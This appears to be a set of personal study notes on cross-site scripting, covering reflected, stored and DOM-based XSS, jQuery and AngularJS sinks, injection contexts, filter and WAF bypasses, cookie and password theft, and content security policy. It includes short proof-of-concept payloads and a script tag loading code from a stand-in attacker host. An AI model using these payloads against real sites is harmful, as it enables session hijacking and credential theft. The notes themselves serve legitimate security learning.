XSS
Cross-site scripting (XSS) works by manipulating a vulnerable web site so that it returns malicious JavaScript to users.
XSS cheatsheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
More info about Javascript & obfuscation: Javascript & Obfuscation
Reflected XSS
The malicious script comes from the current HTTP request.
Stored XSS
The malicious script comes from the website's database. POST body example:
DOM-based XSS
The vulnerability exists in client-side code rather than server-side code.
Methodology
Look for any script that has a sinks
See if you can control the sink
Exploit it
Tips:
Here there are some sources and sinks
https://github.com/wisec/domxsswiki/wiki
https://portswigger.net/web-security/cross-site-scripting/dom-based#which-sinks-can-lead-to-dom-xss-vulnerabilities
DOM Invader (Burp Suite tool) is a browser-based tool that helps you test for DOM XSS vulnerabilities using a variety of sources and sinks.
DOM-based web message
Exploit
jQuery
jQuery's attr()
function can change the attributes of DOM elements
Exploit
jQuery's $()
selector function in another potential sink. If you open the browser console and type $('<img src=x onerror=alert()>')
jQuery creates this new element (so the alert will be shown)
An example:
Exploit
Note: Recent versions of jQuery have patched this specific vulnerability by preventing HTML injection into a selector if the input begins with a hash (#). But remember, this is just an example, the real problem is how $()
selector works .
AngularJS
When a site uses the ng-app
attribute on an HTML element, AngularJS processes it and executes JavaScript inside double curly braces {{ }}
in HTML or attributes.
Consider
Test
Exploit
Reflected/Stored DOM XSS
If a script reads data from a URL and writes it to a dangerous sink, the vulnerability is client-side with no server processing.
Reflected DOM vulnerabilities happen when the server processes and echoes data from a request, and a script on the page handles this data unsafely, writing it to a dangerous sink.
In a stored DOM XSS vulnerability, the server stores data from one request and includes it in a later response. A script in the later response processes this data unsafely in a sink.
XSS contexts
Between HTML tags
Note: understand how a payload works
<body onresize="print()">
with this payload (for reflected XSS) you need an exploit server and iframe tag
In HTML tag attributes
Terminate the attribute value, close the tag, and introduce a new one.
If angle brackets are blocked or encoded, introduce a new attribute that creates a scriptable context.
If XSS context is into the href attribute of an anchor tag, use the javascript pseudo-protocol to execute script
Access keys allow you to provide keyboard shortcuts that reference a specific element. This is useful in hidden inputs because events like onmouseover and onfocus can't be triggered due to the element being invisible
Tips:
Substitute
'
"
and viceversaSpace is not needed
Into JavaScript
Terminating the existing script
The browser interprets the </script>
sequence within the string as the end of the script block, prematurely stopping the execution of your JavaScript script and generating an error.
Breaking out of a JavaScript string
It's essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing
Some applications try to escape single quote characters with a backslash but often forget to escape the backslash itself.
';alert(document.domain)//
is converted to\';alert(document.domain)//
so your input could be
\';alert(document.domain)//
which gets converted to\\';alert(document.domain)//
Making use of HTML-encoding
When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around input filters.
<a href="#" onclick="... var input='controllable data here'; ...">
'-alert(document.domain)-'
The browser HTML-decodes the value of the onclick attribute before the JavaScript is interpreted
HTML encode: https://html.spec.whatwg.org/multipage/named-characters.html
Note: you cannot use "
-> "
to close onclick attribute. Remember: The browser HTML-decode the value of the onlick attribute but not the entire structure
XSS in JavaScript template literals
JavaScript template literals are string literals that allow embedded JavaScript expressions (Template literals are encapsulated in backticks)
Bypass WAF
If you receive an error like "tag is not allowed" or "event is not allowed", use XSS cheat sheet (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) to discover a tag and event that work.
Exploitation
Steal cookies
Limitation:
The victim might not be logged in.
Many applications hide their cookies from JavaScript using the
HttpOnly
flag.Sessions might be locked to additional factors like the user's IP address.
The session might time out before you're able to hijack it.
Capture passwords
Perform CSRF
When CSRF occurs as a standalone vulnerability, it can be patched using strategies like anti-CSRF tokens. However, these strategies do not provide any protection if an XSS vulnerability is also present.
If the site use a token you can get it doing a first request and then add the token in a second request
Content security policy
CSP restrict the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages. CSP defends against XSS attacks in the following ways
Restricting Inline Scripts
<script>document.body.innerHTML='defaced'</script>
will not work
Restricting Remote Scripts
<script src="https://evil.com/hacked.js"></script>
will not work
Restricting Unsafe JavaScript
Last updated